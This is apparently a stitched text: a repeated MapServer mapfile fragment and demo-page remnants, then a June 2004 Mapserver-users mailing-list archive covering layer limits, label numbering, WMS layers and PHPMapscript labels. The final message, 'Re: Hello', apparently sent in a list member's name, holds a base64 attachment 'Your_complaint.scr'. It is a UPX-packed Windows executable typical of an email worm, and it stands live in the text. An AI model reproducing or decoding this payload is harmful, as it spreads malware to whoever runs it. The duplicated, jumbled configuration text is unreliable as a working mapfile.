"/usr/src/mapserver-4.2.0/tests/fonts.txt" CONFIG GDAL_DATA "data" IMAGETYPE PNG # OUTPUTFORMAT # NAME "gif" # MIMETYPE "image/gif" # DRIVER "GD/GIF" # EXTENSION "gif" # IMAGEMODE PC256 # TRANSPARENT FALSE # END # # Projection definition, consult the PROJ.4 documentation for parameter discussi # PROJECTION "init=epsg:4326" END # # Start of web interface definition # WEB #HEADER demo_header.html TEMPLATE giofinder_basic.html #FOOTER demo_footer.html IMAGEPATH "/var/www/html/maps/giofinder/tmp" IMAGEURL "/giofinder/tmp/" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "data" IMAGECOLOR 100 100 255 #FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt" CONFIG GDAL_DATA "data" IMAGETYPE PNG # OUTPUTFORMAT # NAME "gif" # MIMETYPE "image/gif" # DRIVER "GD/GIF" # EXTENSION "gif" # IMAGEMODE PC256 # TRANSPARENT FALSE # END # # Projection definition, consult the PROJ.4 documentation for parameter discussi # PROJECTION "init=epsg:4326" END # # Start of web interface definition # WEB #HEADER demo_header.html TEMPLATE giofinder_basic.html #FOOTER demo_footer.html IMAGEPATH "/var/www/html/maps/giofinder/tmp" IMAGEURL "/giofinder/tmp/" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE small END STYLE 1 SIZE 250 4 COLOR 0 0 0 UNITS KILOMETERS INTERVALS 5 TRANSPARENT FALSE STATUS TRUE END # # Start of symbol definitions # SYMBOL NAME 'circle' TYPE ellipse FILLED TRUE POINTS 1 1 END END # # Start of layer definitions # ########## RASTER ############## LAYER NAME topo8 TYPE RASTER DATA topo8.tif STATUS OFF PROJECTION "proj=latlong" "ellps=WGS84" # Geographic END END END # Map File ==== INITIALIZE FILE ==== Maps Downunder GioFinder Application

Maps Downunder GioFinder Application


This demonstration application will take you through various levels of complexity. Starting with a basic application that allows a user to pan/zoom and change layers we add:

  • dynamically configured scalebars
  • javascript-based panning
  • query results to a frame
  • and finally, a DHTML rubber-band zoom/query capabilty


==== TEMPLATE HTML ==== Maps Downunder GioFinder Application Maps Downunder - GioFinder Application

Maps Downunder - GioFinder Application


scalebar (mi)

Browse map
Query feature
Query multiple features


Select Layers to Display:

Zoom In Pan Zoom Out

Zoom Size

Legend




back to start

[map_web_template] From siki at agt.bme.hu Mon Jun 7 12:14:18 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Mon, 7 Jun 2004 18:14:18 -0100 (GMT+1) Subject: [Mapserver-users] More than 100 layers - Do I really need to recompile mapserver? {Scanned} {Scanned} In-Reply-To: Message-ID: Hi, Recently I had the same problem. First I recompile mapserver after changing a header file. At that time 255 was the default limit for layer count. Later a learnt to use tileindexed layer, which helped me to reduce the number of layers below the limit. I had a lots of orthophotos. I hope this helps you Bye Zoltan On Mon, 7 Jun 2004, Trent Burton wrote: > If I have more than 100 layers, do I really need to recompile Mapserver, > setting the MS_MAXLAYERS variable of the map.h header file? > > Does anyone know if 400-500 layers is an issue for Mapserver? > > Is there some site out there that has different versions of Mapserver > binaries for Windows with different options and libraries? I really do > not want to have to get into compiling mapserver from the source. > > Thanks, > > Trent Burton > From ummmmm at myrealbox.com Mon Jun 7 09:24:25 2004 From: ummmmm at myrealbox.com (Doug) Date: Mon, 07 Jun 2004 11:24:25 -0500 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: <20040607144532.7C2C21A659B@mail.medinaco.org> References: <20040607144532.7C2C21A659B@mail.medinaco.org> Message-ID: <40C496B9.2020103@myrealbox.com> Lowell Filak wrote: > The following message was sent by Doug on Mon, 07 > Jun 2004 08:39:46 -0500. > > >>Steve Lime wrote: >> >> >>>Nope, that functionality doesn't exist. For clarification, you mean only >>>the >>>features actually labeled? That may be tough because labels are >>>assigned before >>>being queued for rendering and this would need to be far more dynamic. >>> >>>If you could expand on your idea that would help... >>> >>>Steve >>> >>> >>> >>>>>>Brad Cantwell 6/3/2004 1:56:37 PM >>> >>> >>> >>>Is there a way to do sequential numbering for labels? We would like >>>to >>>have the labels for features autonumbered (i.e. 1 though N). Is there >>>a >>>way to do this through the .map file? We are trying to avoid >>>MapScript >>>if possible. >> >>I work with Brad, and here's what we need to do. We have a layer of >>specific locations that we need to show on the drawn map. However, we >>need the locations to be numbered somehow such that for any particular >>map, the numbers always start at 1. i.e. dynamically giving a temporary >>"ID" to each location based on what is currently visible. >> >>One person suggested creating a dynamic database view with an >>autonumbered column, but we haven't succeeded with that approach yet. >>We were also wondering if there are other options. >> >>Doug > > > I know your trying to stay away from MapScript but I would suspect with > it you could do a queryByRect (current extents) on the points layer and > then loop through the resultCacheObj for each resultCacheMemberObj > grabbing the shapeindex for the current point and create a pointObj for > that shapeindex in the layer and then use the pointObj draw method > specifying the 'character text' value as the sequential number. > Clear as mud... > > Lowell The reason we're trying to stay away from MapScript is the thread safety issues we've been reading about. That and the fact that we do all of our application coding in Java, for which there doesn't appear to be any standard, accepted implementation. So how to people use MapScript anyway if it's not thread safe? Always as separate CGI processes? Doug From bamarob55 at yahoo.com Mon Jun 7 10:29:10 2004 From: bamarob55 at yahoo.com (Robert Aldridge) Date: Mon, 7 Jun 2004 10:29:10 -0700 (PDT) Subject: [Mapserver-users] Adding a WMS Layer from terraservice.net In-Reply-To: <40C0E724.1040507@nacse.org> Message-ID: <20040607172910.97617.qmail@web51108.mail.yahoo.com> I'm still not having any luck with this. The browser's busy indicator spins for ~60 seconds and then I get a solid white, 600x400 PNG returned. Could someone please post a complete mapfile (not just the layer section) that successfully renders a map of a DOQ from terraservice. It would be much appreciated. Thanks, Robert --- Dylan Keon wrote: > On 6/4/2004 1:15 PM, Robert Aldridge wrote: > > > Matthew, > > > > Thanks for the reply. I'm still getting the same > > results (a 600x400, solid white PNG). Here's my > > updated mapfile: > > > > [begin mapfile] > > MAP > > NAME "wms_test" > > SIZE 600 400 > > STATUS ON > > EXTENT 430400 3750400 435200 3753600 > > UNITS METERS > > IMAGETYPE PNG > > #"init=epsg:26916" > > LAYER > > NAME DOQ > > METADATA > > "wms_title" "USGS Digital > > Ortho-Quadrangles" > > "wms_srs" "EPSG:26916" > #NAD83 > > UTM Zone 16N > > "wms_name" "DOQ" > > "wms_layers" "doq" > > "wms_server_version" "1.1.1" > > "wms_formatlist" > > "image/png,image/jpeg,image/gif" > > "wms_format" "image/png" > > END > > OFFSITE 255 255 255 > > STATUS DEFAULT > > TYPE RASTER > > CONNECTIONTYPE WMS > > CONNECTION > "http://terraservice.net/ogcmap.ashx?" > > #DEBUG ON > > END > > END > > [end mapfile] > > > This layer definition is currently working for me: > > LAYER > NAME ortho > METADATA > "wms_title" "USGS Digital Ortho-Quadrangles" > "wms_srs" "EPSG:26910" #NAD83 UTM zone 10N > END > GROUP "BASE DATA" > STATUS OFF > TYPE RASTER > MINSCALE 1500 > MAXSCALE 80000 > CONNECTIONTYPE WMS > CONNECTION > "http://terraservice.net/ogcmap.ashx?VERSION=1.1.1&SERVICE=wms&LAYERS=DO > Q&FORMAT=jpeg&styles=" > PROJECTION > "init=epsg:26910" #NAD83 UTM zone 10N > END > END __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From lfilak at medinaco.org Mon Jun 7 10:58:34 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 07 Jun 2004 13:58:34 -0400 Subject: [Mapserver-users] PHPMapscript DINAMIC LAYER LABELING Message-ID: <20040607175824.CCBB61A659B@mail.medinaco.org> Do you mean $map->drawLabelCache ? Lowell The following message was sent by "Marcelo Carrillo" on Mon, 7 Jun 2004 10:21:48 -0500. > Hi Mapserverer's, > > I'm generating a dinamic point layer, and I'm using the method draw from > the > point object. My question is: > How do I present the text I put in the fifth parameter of draw method on > a > label?? > > Any suggestion would be appreciated.... > > Regards, > > Marcelo Ismael Carrillo Est?vez > BAYTEQ C?a. Ltda. > 09-8813885 > "There's no place like 127.0.0.1" From steve.lime at dnr.state.mn.us Mon Jun 7 11:58:54 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Mon, 07 Jun 2004 12:58:54 -0600 Subject: [Mapserver-users] Re: Hello Message-ID: ----------loaotsdpanrkauovtkrs Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------loaotsdpanrkauovtkrs Content-Type: application/octet-stream; name="Your_complaint.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Your_complaint.scr" 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 